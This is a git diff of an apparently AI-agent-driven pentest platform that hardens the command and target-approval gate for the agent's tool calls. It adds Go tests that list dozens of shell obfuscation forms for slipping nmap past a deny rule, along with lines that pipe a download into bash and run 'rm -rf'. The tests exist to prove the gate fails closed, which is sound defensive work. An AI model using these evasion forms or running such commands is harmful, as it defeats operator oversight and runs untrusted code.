// ResolveTargetRequestWith is ResolveTargetRequest for a request the gate
|
||||||
|
// raised by name only (a name nothing approved is not resolved before a human
|
||||||
|
// approves it): on approval, resolved gives the addresses to pin when the
|
||||||
|
// request displays none. A request that displays addresses ignores resolved.
|
||||||
|
func (d *DB) ResolveTargetRequestWith(id int64, allowed bool, approver, remoteAddr string, resolved *TargetAddresses) (pin *TargetPin, ok bool, err error) {
|
||||||
tx, err := d.Begin()
|
tx, err := d.Begin()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, false, err
|
return nil, false, err
|
||||||
@@ -405,6 +422,11 @@ WHERE id=$1 AND status='pending' AND target_key IS NOT NULL FOR UPDATE`, id).Sca
|
|||||||
if len(audit.Targets) != 1 {
|
if len(audit.Targets) != 1 {
|
||||||
return nil, false, fmt.Errorf("target request %d records %d targets, want 1", id, len(audit.Targets))
|
return nil, false, fmt.Errorf("target request %d records %d targets, want 1", id, len(audit.Targets))
|
||||||
}
|
}
|
||||||
|
reason = "user approved the target; the displayed addresses were pinned"
|
||||||
|
if t := &audit.Targets[0]; len(t.ResolvedIPs) == 0 && resolved != nil {
|
||||||
|
t.ResolvedIPs, t.Resolver, t.ResolvedAt = resolved.IPs, resolved.Resolver, resolved.ResolvedAt
|
||||||
|
reason = "user approved the target by name; the addresses it resolved to after the approval were pinned"
|
||||||
|
}
|
||||||
scope := TargetScopeRef{ConversationID: convID.Int64}
|
scope := TargetScopeRef{ConversationID: convID.Int64}
|
||||||
if taskID.Valid {
|
if taskID.Valid {
|
||||||
if scope.TaskID, err = strconv.ParseInt(taskID.String, 10, 64); err != nil {
|
if scope.TaskID, err = strconv.ParseInt(taskID.String, 10, 64); err != nil {
|
||||||
@@ -414,7 +436,7 @@ WHERE id=$1 AND status='pending' AND target_key IS NOT NULL FOR UPDATE`, id).Sca
|
|||||||
if pin, err = writeTargetPin(tx, scope, id, &audit.Targets[0], approver, remoteAddr); err != nil {
|
if pin, err = writeTargetPin(tx, scope, id, &audit.Targets[0], approver, remoteAddr); err != nil {
|
||||||
return nil, false, err
|
return nil, false, err
|
||||||
}
|
}
|
||||||
status, action, reason = "allowed", "allow", "user approved the target; the displayed addresses were pinned"
|
status, action = "allowed", "allow"
|
||||||
// A plain target request is host-level: no single call owns its result.
|
// A plain target request is host-level: no single call owns its result.
|
||||||
execution = "unknown"
|
execution = "unknown"
|
||||||
if audit.MergedAsk && audit.Correlation == "exact" {
|
if audit.MergedAsk && audit.Correlation == "exact" {
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ x-logging: &default-logging
|
|||||||
|
|
||||||
services:
|
services:
|
||||||
postgres:
|
postgres:
|
||||||
image: postgres:16-alpine
|
image: postgres:16-alpine@sha256:f2f98726820d0342055351c6e9d36e705f5bfffb3dd53ff556325114b08afb6d
|
||||||
environment:
|
environment:
|
||||||
POSTGRES_USER: ${POSTGRES_USER:-artex}
|
POSTGRES_USER: ${POSTGRES_USER:-artex}
|
||||||
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:?Please set POSTGRES_PASSWORD in .env}
|
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:?Please set POSTGRES_PASSWORD in .env}
|
||||||
|
|||||||
@@ -63,8 +63,11 @@ binary via `server/webui_embed.go` when built with `-tags embedui`.
|
|||||||
6. **Tools and traffic.** Shell and HTTP/WebFetch calls go through the recording proxy
|
6. **Tools and traffic.** Shell and HTTP/WebFetch calls go through the recording proxy
|
||||||
and the egress governor. Platform-owned HTTP clients use `intercept.PinnedDialer`
|
and the egress governor. Platform-owned HTTP clients use `intercept.PinnedDialer`
|
||||||
and `intercept.RedirectCheck`, so a redirect or a direct retry is re-checked at
|
and `intercept.RedirectCheck`, so a redirect or a direct retry is re-checked at
|
||||||
dial time. When a proxy is in the path the gate records the pin as name-only: the
|
dial time. When a call's traffic goes through a proxy, the gate checks its pins by
|
||||||
proxy makes the outbound connection, so no IP binding can be claimed.
|
name only: the proxy makes the outbound connection, so no IP binding can be claimed.
|
||||||
|
This is decided per check, never stored on the pin: a connection the platform opens
|
||||||
|
itself (`PinnedDialer`: the target fingerprint, asset enrichment, an http tool without
|
||||||
|
a proxy) always goes to the addresses it compared, whatever proxy is set.
|
||||||
7. **Findings.** `addFinding` (`agent/tools.go`) records severity, class, confidence and
|
7. **Findings.** `addFinding` (`agent/tools.go`) records severity, class, confidence and
|
||||||
asset references; `db/findings.go` dedups and keeps the status workflow. Evidence is
|
asset references; `db/findings.go` dedups and keeps the status workflow. Evidence is
|
||||||
linked to captured traffic (`traffic/evidence.go`, `db/finding_traffic.go`).
|
linked to captured traffic (`traffic/evidence.go`, `db/finding_traffic.go`).
|
||||||
@@ -90,7 +93,7 @@ binary via `server/webui_embed.go` when built with `-tags embedui`.
|
|||||||
| --- | --- |
|
| --- | --- |
|
||||||
| Tool output → model | Norma's untrusted-output boundary: nonce-tagged markers around tool results. On by default; `ARTEX_UNTRUSTED_BOUNDARY=0` disables it. See `agent/untrusted_boundary.go` |
|
| Tool output → model | Norma's untrusted-output boundary: nonce-tagged markers around tool results. On by default; `ARTEX_UNTRUSTED_BOUNDARY=0` disables it. See `agent/untrusted_boundary.go` |
|
||||||
| Command → host | Allow rules match one Bash simple command with the exact prefix: a pipeline, redirection, wrapper (`env`, `sudo`, `xargs`, `find -exec`, a shell `-c`), substitution or expansion does not inherit an allow. Deny and ask rules also inspect every simple command inside wrappers, lists and pipelines. `ArgvPrefixOf` derives the human-readable prefix |
|
| Command → host | Allow rules match one Bash simple command with the exact prefix: a pipeline, redirection, wrapper (`env`, `sudo`, `xargs`, `find -exec`, a shell `-c`), substitution or expansion does not inherit an allow. Deny and ask rules also inspect every simple command inside wrappers, lists and pipelines. `ArgvPrefixOf` derives the human-readable prefix |
|
||||||
| URL → network | Target gate + `PinnedDialer` + `RedirectCheck`: scope decisions are re-made against a fresh DNS lookup at dial time, and without a proxy the client connects only to the addresses it compared; with a proxy the pin is name-only |
|
| URL → network | Target gate + `PinnedDialer` + `RedirectCheck`: scope decisions are re-made against a fresh DNS lookup at dial time, and a client that dials the target itself connects only to the addresses it compared; traffic that goes through a proxy is checked by name only |
|
||||||
| Secrets → disk/log | `db/secrets.go` seals API keys, proxy credentials, MCP env, task credentials and captured auth headers with AES-256-GCM, nonce per value, AAD `table.column`. JWT keys live in `KeyDir()`, never in the browsable data dir. The boot snapshot logs only `config.Redact(dsn)` |
|
| Secrets → disk/log | `db/secrets.go` seals API keys, proxy credentials, MCP env, task credentials and captured auth headers with AES-256-GCM, nonce per value, AAD `table.column`. JWT keys live in `KeyDir()`, never in the browsable data dir. The boot snapshot logs only `config.Redact(dsn)` |
|
||||||
| Approval → audit | Every decision records the approver (`jwtSubject`), source and decision; history is queryable through `/api/intercept/history` and `/api/intercept/history/{id}` (with `/execution` for the audit detail). `/api/tasks/{id}/intercept-rules` manages rules, not history |
|
| Approval → audit | Every decision records the approver (`jwtSubject`), source and decision; history is queryable through `/api/intercept/history` and `/api/intercept/history/{id}` (with `/execution` for the audit detail). `/api/tasks/{id}/intercept-rules` manages rules, not history |
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -53,11 +53,11 @@ scripts/backup.sh # database dump only, 14 rotations
|
|||||||
scripts/backup.sh --with-data --keep 30 # also archive the data/ bind mount
|
scripts/backup.sh --with-data --keep 30 # also archive the data/ bind mount
|
||||||
```
|
```
|
||||||
|
|
||||||
The dump runs inside the `postgres` compose service, so no host `psql` is needed. Restore:
|
The dump runs inside the `postgres` compose service, so no host `psql` is needed. Restore into an empty database:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gunzip -c backups/artex-db-<ts>.sql.gz | docker compose exec -T postgres \
|
gunzip -c backups/artex-db-<ts>.sql.gz | docker compose exec -T postgres \
|
||||||
psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
|
sh -c 'exec psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"'
|
||||||
```
|
```
|
||||||
|
|
||||||
Back up the key directory as well: without it, JWTs cannot be verified and sealed
|
Back up the key directory as well: without it, JWTs cannot be verified and sealed
|
||||||
|
|||||||
+710
-151
File diff suppressed because it is too large
Load Diff
@@ -158,8 +158,6 @@ func TestArgvDenyAndAskCompoundAndWrapped(t *testing.T) {
|
|||||||
{"taskset pid mode", "taskset -p 1234"},
|
{"taskset pid mode", "taskset -p 1234"},
|
||||||
{"chrt pid mode", "chrt -p 1234"},
|
{"chrt pid mode", "chrt -p 1234"},
|
||||||
{"xargs -l echo nmap does not match nmap", "xargs -l echo nmap"},
|
{"xargs -l echo nmap does not match nmap", "xargs -l echo nmap"},
|
||||||
{"shell unknown option before -c", "bash --unknown-opt -c 'nmap -p 80 x'"},
|
|
||||||
{"shell opaque option before -c", "bash $OPT -c 'nmap -p 80 x'"},
|
|
||||||
{"shell script mode with -x", "bash -x nmap"},
|
{"shell script mode with -x", "bash -x nmap"},
|
||||||
{"shell script file", "bash nmap"},
|
{"shell script file", "bash nmap"},
|
||||||
{"shell -- before -c treats -c as script", "bash -- -c 'nmap -p 80 x'"},
|
{"shell -- before -c treats -c as script", "bash -- -c 'nmap -p 80 x'"},
|
||||||
@@ -172,9 +170,6 @@ func TestArgvDenyAndAskCompoundAndWrapped(t *testing.T) {
|
|||||||
{"parallel :::+ separator", "parallel :::+ nmap"},
|
{"parallel :::+ separator", "parallel :::+ nmap"},
|
||||||
{"chroot without command", "chroot /"},
|
{"chroot without command", "chroot /"},
|
||||||
{"busybox list mode", "busybox --list"},
|
{"busybox list mode", "busybox --list"},
|
||||||
{"eval opaque leading arg", "eval $CMD nmap"},
|
|
||||||
{"opaque command token", "$CMD -p 80 x"},
|
|
||||||
{"nested payload depth 4 exceeds limit", `bash -c "sh -c \"bash -c 'eval \\\"nmap -p 80 x\\\"'\""`},
|
|
||||||
{"unparsable single quote", "nmap 'unterminated"},
|
{"unparsable single quote", "nmap 'unterminated"},
|
||||||
{"unparsable subst", "nmap $("},
|
{"unparsable subst", "nmap $("},
|
||||||
{"empty command", ""},
|
{"empty command", ""},
|
||||||
@@ -190,6 +185,31 @@ func TestArgvDenyAndAskCompoundAndWrapped(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A program word, payload or option built at run time, or a payload nested
|
||||||
|
// past the limit, may run nmap: the rule asks, and a deny rule's ask
|
||||||
|
// times out to deny.
|
||||||
|
nmapMayMatch := []struct {
|
||||||
|
name string
|
||||||
|
cmd string
|
||||||
|
}{
|
||||||
|
{"shell unknown option before -c", "bash --unknown-opt -c 'nmap -p 80 x'"},
|
||||||
|
{"shell opaque option before -c", "bash $OPT -c 'nmap -p 80 x'"},
|
||||||
|
{"eval opaque leading arg", "eval $CMD nmap"},
|
||||||
|
{"opaque command token", "$CMD -p 80 x"},
|
||||||
|
{"nested payload depth 4 exceeds limit", `bash -c "sh -c \"bash -c 'eval \\\"nmap -p 80 x\\\"'\""`},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, action := range []string{"deny", "ask"} {
|
||||||
|
for _, tc := range nmapMayMatch {
|
||||||
|
t.Run(action+"/maymatch/"+tc.name, func(t *testing.T) {
|
||||||
|
dec, ok := matchSingleArgvRule(action, `["nmap"]`, "Bash", bashInput(tc.cmd))
|
||||||
|
if !ok || dec.Action != "ask" || (action == "deny" && dec.TimeoutAction != "deny") {
|
||||||
|
t.Errorf("%s [\"nmap\"] on %q: got (%+v, %v), want an ask", action, tc.cmd, dec, ok)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Non-Bash tool never matches argv rules.
|
// Non-Bash tool never matches argv rules.
|
||||||
if dec, ok := matchSingleArgvRule("deny", `["nmap"]`, "shell_open", bashInput("nmap -p 80 x")); ok {
|
if dec, ok := matchSingleArgvRule("deny", `["nmap"]`, "shell_open", bashInput("nmap -p 80 x")); ok {
|
||||||
t.Errorf("non-Bash tool matched deny rule: %+v", dec)
|
t.Errorf("non-Bash tool matched deny rule: %+v", dec)
|
||||||
@@ -206,7 +226,7 @@ func TestArgvDenyMultiTokenAndPathRules(t *testing.T) {
|
|||||||
{"git config path qualified with flag", `["git","config"]`, "/usr/bin/git config --list", true},
|
{"git config path qualified with flag", `["git","config"]`, "/usr/bin/git config --list", true},
|
||||||
{"git config via command", `["git","config"]`, "command git config --list", true},
|
{"git config via command", `["git","config"]`, "command git config --list", true},
|
||||||
{"git config via sudo", `["git","config"]`, "sudo git config user.name foo", true},
|
{"git config via sudo", `["git","config"]`, "sudo git config user.name foo", true},
|
||||||
{"git config opaque subcommand", `["git","config"]`, "git $SUB --list", false},
|
{"git config opaque subcommand may match", `["git","config"]`, "git $SUB --list", true},
|
||||||
{"git status does not match git config", `["git","config"]`, "git status", false},
|
{"git status does not match git config", `["git","config"]`, "git status", false},
|
||||||
{"exact path rule matches exact path", `["/usr/bin/nmap"]`, "/usr/bin/nmap -p 80 x", true},
|
{"exact path rule matches exact path", `["/usr/bin/nmap"]`, "/usr/bin/nmap -p 80 x", true},
|
||||||
{"exact path rule does not match bare name", `["/usr/bin/nmap"]`, "nmap -p 80 x", false},
|
{"exact path rule does not match bare name", `["/usr/bin/nmap"]`, "nmap -p 80 x", false},
|
||||||
@@ -386,4 +406,28 @@ func TestTextRulesMatchShellDecodedCommand(t *testing.T) {
|
|||||||
if _, ok := ic.Match("Write", []byte(`{"command":"r\\m -rf ./x"}`)); ok {
|
if _, ok := ic.Match("Write", []byte(`{"command":"r\\m -rf ./x"}`)); ok {
|
||||||
t.Error("a non-Bash tool input was shell-decoded")
|
t.Error("a non-Bash tool input was shell-decoded")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// JSON keys match case-insensitively and the last duplicate wins, just as
|
||||||
|
// encoding/json decodes the Bash tool input struct.
|
||||||
|
for _, typ := range []string{"regex", "string"} {
|
||||||
|
pattern := rmrf
|
||||||
|
if typ == "string" {
|
||||||
|
pattern = "rm -rf"
|
||||||
|
}
|
||||||
|
ic.SetRulesForTest([]db.InterceptRule{{ID: 1, Name: "deny rm", Enabled: true, Priority: 100,
|
||||||
|
MatchTarget: "tool_input", MatchType: typ, Pattern: pattern, Action: "deny"}})
|
||||||
|
for _, raw := range []string{
|
||||||
|
`{"COMMAND":"r\\m -rf ./x"}`,
|
||||||
|
`{"Command":"r''m -rf ./x"}`,
|
||||||
|
`{"command":"echo ok","Command":"r\\m -rf ./x"}`,
|
||||||
|
} {
|
||||||
|
if _, ok := ic.Match("Bash", []byte(raw)); !ok {
|
||||||
|
t.Errorf("deny %s rule missed %s", typ, raw)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// When the last duplicate is benign, the shadowed earlier command does not run.
|
||||||
|
if _, ok := ic.Match("Bash", []byte(`{"command":"r\\m -rf ./x","Command":"echo ok"}`)); ok {
|
||||||
|
t.Errorf("deny %s rule matched shadowed earlier command", typ)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,173 @@
|
|||||||
|
package intercept
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/Autumn-27/artex/db"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Every form below runs nmap, or may run it: a deny or ask argv rule on nmap
|
||||||
|
// must not answer "no match".
|
||||||
|
func TestArgvDenyAskRulesFailClosed(t *testing.T) {
|
||||||
|
matched := []string{
|
||||||
|
`$'nmap' -sV x.htb`,
|
||||||
|
`$'\x6emap' -sV x.htb`,
|
||||||
|
`bash -c $'nmap x.htb'`,
|
||||||
|
`eval $'nmap x.htb'`,
|
||||||
|
"bash <<'EOF'\nnmap x.htb\nEOF",
|
||||||
|
"bash <<EOF\nnmap x.htb\nEOF",
|
||||||
|
"bash <<-EOF\n\tnmap x.htb\n\tEOF",
|
||||||
|
`bash <<< 'nmap x.htb'`,
|
||||||
|
`bash -s <<< 'nmap x.htb'`,
|
||||||
|
`echo 'nmap x.htb' | sh`,
|
||||||
|
`echo nmap x.htb | sh -`,
|
||||||
|
`printf 'nmap x.htb\n' | bash`,
|
||||||
|
`printf '%s\n' 'nmap x.htb' | bash`,
|
||||||
|
"cat <<'EOF' | bash\nnmap x.htb\nEOF",
|
||||||
|
`sh < <(echo nmap x.htb)`,
|
||||||
|
`bash <(echo nmap x.htb)`,
|
||||||
|
`source <(echo 'nmap x.htb')`,
|
||||||
|
`. /dev/stdin <<< 'nmap x.htb'`,
|
||||||
|
`bash /dev/stdin <<< 'nmap x.htb'`,
|
||||||
|
`echo 'nmap x.htb' | sudo bash`,
|
||||||
|
`echo 'nmap x.htb' | (sh)`,
|
||||||
|
`echo 'nmap x.htb' | { true; sh; }`,
|
||||||
|
`echo 'nmap x.htb' | bash -c 'sh'`,
|
||||||
|
`bash -c "bash <<< 'nmap x.htb'"`,
|
||||||
|
`ash -c 'nmap x.htb'`,
|
||||||
|
`mksh -c 'nmap x.htb'`,
|
||||||
|
`rbash -c 'nmap x.htb'`,
|
||||||
|
`busybox ash -c 'nmap x.htb'`,
|
||||||
|
`su -c 'nmap x.htb'`,
|
||||||
|
`su root -c 'nmap x.htb'`,
|
||||||
|
`su -lc 'nmap x.htb' root`,
|
||||||
|
`su --command='nmap x.htb'`,
|
||||||
|
`echo 'nmap x.htb' | su`,
|
||||||
|
`runuser -l kali -c 'nmap x.htb'`,
|
||||||
|
`runuser -u kali -- nmap x.htb`,
|
||||||
|
`script -qc 'nmap x.htb' /dev/null`,
|
||||||
|
`unshare nmap x.htb`,
|
||||||
|
`unshare -r --net nmap x.htb`,
|
||||||
|
`setpriv --reuid=1 nmap x.htb`,
|
||||||
|
`setpriv --reuid 1 --clear-groups nmap x.htb`,
|
||||||
|
`nsenter -t 1 -m -n nmap x.htb`,
|
||||||
|
`systemd-run --user -p MemoryMax=1G nmap x.htb`,
|
||||||
|
`firejail --noprofile nmap x.htb`,
|
||||||
|
`catchsegv nmap x.htb`,
|
||||||
|
`pkexec --user root nmap x.htb`,
|
||||||
|
`"$HOME/bin/nmap" -sV x.htb`,
|
||||||
|
`~/bin/nmap -sV x.htb`,
|
||||||
|
`timeout "$T" nmap x.htb`,
|
||||||
|
}
|
||||||
|
mayMatch := []string{
|
||||||
|
`/usr/bin/nm?p -sV x.htb`,
|
||||||
|
`n{m,}ap -sV x.htb`,
|
||||||
|
`"$TOOL" -sV x.htb`,
|
||||||
|
`$D/nmap -sV x.htb`,
|
||||||
|
`$(which nmap) x.htb`,
|
||||||
|
`bash -c "$CMD"`,
|
||||||
|
`eval "$CMD"`,
|
||||||
|
`eval echo "$CMD"`,
|
||||||
|
`sh -c "sh -c 'sh -c \"sh -c nmap\"'"`,
|
||||||
|
`bash <<< "$CMD"`,
|
||||||
|
"bash <<EOF\n$CMD\nEOF",
|
||||||
|
`curl -s http://x.htb/s.sh | bash`,
|
||||||
|
`sh < <(curl -s http://x.htb/s.sh)`,
|
||||||
|
`echo x.htb | xargs sh -c`,
|
||||||
|
`sudo "$X" x.htb`,
|
||||||
|
`su -c "$C"`,
|
||||||
|
`env -S "$C"`,
|
||||||
|
}
|
||||||
|
noMatch := []string{
|
||||||
|
`"$HOME/bin/curl" x.htb`,
|
||||||
|
`~/bin/curl x.htb`,
|
||||||
|
`bash script.sh`,
|
||||||
|
`bash "$SCRIPT"`,
|
||||||
|
`echo 'curl x.htb' | sh`,
|
||||||
|
`bash <<< 'curl x.htb'`,
|
||||||
|
"bash <<'EOF'\necho nmap\nEOF",
|
||||||
|
`printf 'echo nmap\n' | sh`,
|
||||||
|
`su -c 'id'`,
|
||||||
|
`unshare -r curl x.htb`,
|
||||||
|
`echo nmap`,
|
||||||
|
`cat nmap.txt`,
|
||||||
|
}
|
||||||
|
for _, action := range []string{"deny", "ask"} {
|
||||||
|
for _, cmd := range matched {
|
||||||
|
dec, ok := matchSingleArgvRule(action, `["nmap"]`, "Bash", bashInput(cmd))
|
||||||
|
if !ok || dec.Action != action {
|
||||||
|
t.Errorf("%s nmap on %q: got (%s, %v), want %s", action, cmd, dec.Action, ok, action)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, cmd := range mayMatch {
|
||||||
|
dec, ok := matchSingleArgvRule(action, `["nmap"]`, "Bash", bashInput(cmd))
|
||||||
|
if !ok || dec.Action != "ask" || (action == "deny" && dec.TimeoutAction != "deny") {
|
||||||
|
t.Errorf("%s nmap on %q: got (%s, %v, timeout %q), want ask", action, cmd, dec.Action, ok, dec.TimeoutAction)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, cmd := range noMatch {
|
||||||
|
if dec, ok := matchSingleArgvRule(action, `["nmap"]`, "Bash", bashInput(cmd)); ok {
|
||||||
|
t.Errorf("%s nmap on %q: got %s, want no match", action, cmd, dec.Action)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// A full-path rule meets a program of that name in a directory known at
|
||||||
|
// run time as a possible match only.
|
||||||
|
if dec, ok := matchSingleArgvRule("deny", `["/usr/bin/nmap"]`, "Bash", bashInput(`"$D"/nmap x.htb`)); !ok || dec.Action != "ask" {
|
||||||
|
t.Errorf(`deny /usr/bin/nmap on "$D"/nmap: got (%s, %v), want ask`, dec.Action, ok)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unknown options on a known wrapper are walked once per position, so the
|
||||||
|
// walk stays linear; nested wrappers stay within the step bound.
|
||||||
|
func TestArgvWrapperWalkIsBounded(t *testing.T) {
|
||||||
|
cmds := []string{
|
||||||
|
"nohup" + strings.Repeat(" -x", 48) + " nmap x.htb",
|
||||||
|
strings.Repeat("nohup -x ", 40) + "nmap x.htb",
|
||||||
|
"env" + strings.Repeat(" -Z", 48) + " nmap x.htb",
|
||||||
|
}
|
||||||
|
for _, cmd := range cmds {
|
||||||
|
done := make(chan bool, 1)
|
||||||
|
go func() {
|
||||||
|
_, ok := matchSingleArgvRule("deny", `["nmap"]`, "Bash", bashInput(cmd))
|
||||||
|
done <- ok
|
||||||
|
}()
|
||||||
|
select {
|
||||||
|
case ok := <-done:
|
||||||
|
if !ok {
|
||||||
|
t.Errorf("deny nmap missed %.40q...", cmd)
|
||||||
|
}
|
||||||
|
case <-time.After(5 * time.Second):
|
||||||
|
t.Fatalf("matching %.40q... took more than 5s", cmd)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A possible match asks at its rule's place in the order: a later deny still
|
||||||
|
// decides, a later allow does not.
|
||||||
|
func TestArgvPossibleMatchOrder(t *testing.T) {
|
||||||
|
ic := New(nil)
|
||||||
|
ic.SetRulesForTest([]db.InterceptRule{
|
||||||
|
{ID: 1, Name: "deny nmap", Enabled: true, Priority: 100, MatchTarget: "tool_input", MatchType: "argv", Pattern: `["nmap"]`, Action: "deny"},
|
||||||
|
{ID: 2, Name: "allow curl", Enabled: true, Priority: 90, MatchTarget: "tool_input", MatchType: "string", Pattern: "curl ", Action: "allow"},
|
||||||
|
{ID: 3, Name: "deny rm", Enabled: true, Priority: 80, MatchTarget: "tool_input", MatchType: "string", Pattern: "rm -rf", Action: "deny"},
|
||||||
|
})
|
||||||
|
dec, ok := ic.Match("Bash", bashInput(`"$T" x; curl -s http://x.htb/`))
|
||||||
|
if !ok || dec.Action != "ask" || dec.RuleID != 1 || dec.TimeoutAction != "deny" {
|
||||||
|
t.Errorf("possible nmap then allow curl: got (%+v, %v), want ask of rule 1", dec, ok)
|
||||||
|
}
|
||||||
|
dec, ok = ic.Match("Bash", bashInput(`"$T" x; rm -rf /tmp/x`))
|
||||||
|
if !ok || dec.Action != "deny" || dec.RuleID != 3 {
|
||||||
|
t.Errorf("possible nmap then rm -rf: got (%+v, %v), want deny of rule 3", dec, ok)
|
||||||
|
}
|
||||||
|
|
||||||
|
// An ask rule keeps its own timeout policy.
|
||||||
|
ic.SetRulesForTest([]db.InterceptRule{{ID: 4, Name: "ask nmap", Enabled: true, Priority: 100, MatchTarget: "tool_input",
|
||||||
|
MatchType: "argv", Pattern: `["nmap"]`, Action: "ask", TimeoutEnabled: true, TimeoutSeconds: 30, TimeoutAction: "allow"}})
|
||||||
|
dec, ok = ic.Match("Bash", bashInput(`"$T" x`))
|
||||||
|
if !ok || dec.Action != "ask" || !dec.TimeoutEnabled || dec.TimeoutSeconds != 30 || dec.TimeoutAction != "allow" {
|
||||||
|
t.Errorf("possible match of an ask rule: got (%+v, %v), want its timeout policy", dec, ok)
|
||||||
|
}
|
||||||
|
}
|
||||||
+128
-7
@@ -238,7 +238,8 @@ type Interceptor struct {
|
|||||||
|
|
||||||
// SetUpstreamProxyCheck installs the function that reports whether an upstream
|
// SetUpstreamProxyCheck installs the function that reports whether an upstream
|
||||||
// egress proxy is configured. Behind one the proxy chooses the address it
|
// egress proxy is configured. Behind one the proxy chooses the address it
|
||||||
// connects to, so a target approval given while it is set is name-only.
|
// connects to, so a tool call checked while it is set uses its pins by name
|
||||||
|
// only. A connection PinnedDialer opens itself is never name-only.
|
||||||
func (i *Interceptor) SetUpstreamProxyCheck(f func() bool) {
|
func (i *Interceptor) SetUpstreamProxyCheck(f func() bool) {
|
||||||
i.mu.Lock()
|
i.mu.Lock()
|
||||||
i.upstreamProxy = f
|
i.upstreamProxy = f
|
||||||
@@ -247,7 +248,8 @@ func (i *Interceptor) SetUpstreamProxyCheck(f func() bool) {
|
|||||||
|
|
||||||
// SetToolProxyCheck installs the function that reports whether a tool sends its
|
// SetToolProxyCheck installs the function that reports whether a tool sends its
|
||||||
// own traffic through a proxy. The proxy then chooses the address it connects
|
// own traffic through a proxy. The proxy then chooses the address it connects
|
||||||
// to, so a target approval for that call is name-only. Passing nil disables it.
|
// to, so the check of that call uses its pins by name only (a connection
|
||||||
|
// PinnedDialer opens itself never is). Passing nil disables it.
|
||||||
func (i *Interceptor) SetToolProxyCheck(f func(string) bool) {
|
func (i *Interceptor) SetToolProxyCheck(f func(string) bool) {
|
||||||
i.mu.Lock()
|
i.mu.Lock()
|
||||||
i.toolProxy = f
|
i.toolProxy = f
|
||||||
@@ -710,13 +712,23 @@ func judgeActionLabel(action string) string {
|
|||||||
// Returns (Decision, true) for the first matching enabled rule, or
|
// Returns (Decision, true) for the first matching enabled rule, or
|
||||||
// (Decision{}, false) if no rule matches. When the rules cannot be loaded it
|
// (Decision{}, false) if no rule matches. When the rules cannot be loaded it
|
||||||
// returns a deny.
|
// returns a deny.
|
||||||
|
//
|
||||||
|
// A deny or ask argv rule that may match (argvPossible) asks, see
|
||||||
|
// possibleArgvDecision; a later rule that matches still decides when it
|
||||||
|
// denies, since a deny is stricter than that ask.
|
||||||
func (i *Interceptor) Match(toolName string, input []byte) (Decision, bool) {
|
func (i *Interceptor) Match(toolName string, input []byte) (Decision, bool) {
|
||||||
rules, err := i.rules()
|
rules, err := i.rules()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return storeUnreadableDecision(), true
|
return storeUnreadableDecision(), true
|
||||||
}
|
}
|
||||||
|
var possible *Decision
|
||||||
for _, r := range rules {
|
for _, r := range rules {
|
||||||
if ruleMatches(r, toolName, input) {
|
m := ruleMatch(r, toolName, input)
|
||||||
|
if m == argvPossible && possible == nil {
|
||||||
|
d := possibleArgvDecision(r)
|
||||||
|
possible = &d
|
||||||
|
}
|
||||||
|
if m == argvMatched && (possible == nil || r.Action == "deny") {
|
||||||
msg := r.Message
|
msg := r.Message
|
||||||
if msg == "" {
|
if msg == "" {
|
||||||
msg = defaultMessage(r.Action, r.Name)
|
msg = defaultMessage(r.Action, r.Name)
|
||||||
@@ -733,9 +745,44 @@ func (i *Interceptor) Match(toolName string, input []byte) (Decision, bool) {
|
|||||||
}, true
|
}, true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if possible != nil {
|
||||||
|
return *possible, true
|
||||||
|
}
|
||||||
return Decision{}, false
|
return Decision{}, false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// possibleArgvDecision answers a deny or ask argv rule that may match: a part
|
||||||
|
// of the command that may run the rule's program is only known when it runs.
|
||||||
|
// An ask rule asks as configured. A deny rule asks too, and its approval
|
||||||
|
// times out to deny: denying would also refuse every ordinary command whose
|
||||||
|
// program is a variable or that pipes a download into a shell, with no way
|
||||||
|
// for an operator to let one through, while the ask still runs nothing
|
||||||
|
// without an operator's approval.
|
||||||
|
func possibleArgvDecision(r compiledRule) Decision {
|
||||||
|
d := persistenceDecision(r)
|
||||||
|
if r.Action == "deny" {
|
||||||
|
d.Action = "ask"
|
||||||
|
d.TimeoutAction = "deny"
|
||||||
|
}
|
||||||
|
d.Message = "intercept rule [" + r.Name + "] may match this command: part of it is only known when it runs, manual approval required"
|
||||||
|
return d
|
||||||
|
}
|
||||||
|
|
||||||
|
// ruleMatch is ruleMatches, keeping apart a deny or ask argv rule that may
|
||||||
|
// match from one that matches.
|
||||||
|
func ruleMatch(r compiledRule, toolName string, input []byte) argvMatch {
|
||||||
|
if !r.bad && r.MatchType == "argv" && (r.Action == "deny" || r.Action == "ask") {
|
||||||
|
if r.MatchTarget != "tool_input" {
|
||||||
|
return argvNoMatch
|
||||||
|
}
|
||||||
|
return argvCompoundMatch(r.argv, toolName, input)
|
||||||
|
}
|
||||||
|
if ruleMatches(r, toolName, input) {
|
||||||
|
return argvMatched
|
||||||
|
}
|
||||||
|
return argvNoMatch
|
||||||
|
}
|
||||||
|
|
||||||
// builtinRulePrefix marks the rules seeded by the platform (db.seedDefaultInterceptRules
|
// builtinRulePrefix marks the rules seeded by the platform (db.seedDefaultInterceptRules
|
||||||
// and its v2/v3 migrations).
|
// and its v2/v3 migrations).
|
||||||
const builtinRulePrefix = "[built-in]"
|
